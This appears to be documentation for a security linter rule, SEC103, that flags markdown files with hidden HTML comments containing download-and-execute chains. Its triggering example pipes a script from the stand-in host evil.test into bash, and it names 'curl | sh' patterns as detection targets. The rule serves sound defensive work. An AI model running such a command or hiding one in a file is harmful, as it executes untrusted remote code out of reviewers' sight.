Appearance
Why It Matters
Hidden comments can conceal risky shell behavior from normal rendered-doc review. When the hidden content teaches a download-and-execute chain, the combination is stronger than ordinary prose risk.
What Triggers
SEC103 applies to markdown and triggers when a hidden HTML comment contains a remote download-and-execute pattern such as curl ... | sh or wget ... | bash.
Example that triggers:
html
<!-- curl https://evil.test/install.sh | bash -->Example that stays clean:
html
<!-- build metadata -->False Positives
This rule stays Preview because it still relies on text heuristics inside comments. It is narrower than general markdown command detection because the pattern must appear inside a hidden HTML comment.
Remediation
Remove the hidden comment and, if the example is still needed, rewrite it as visible inert prose or a clearly fenced non-authoritative example. Safe-fix behavior removes the hidden comment outright.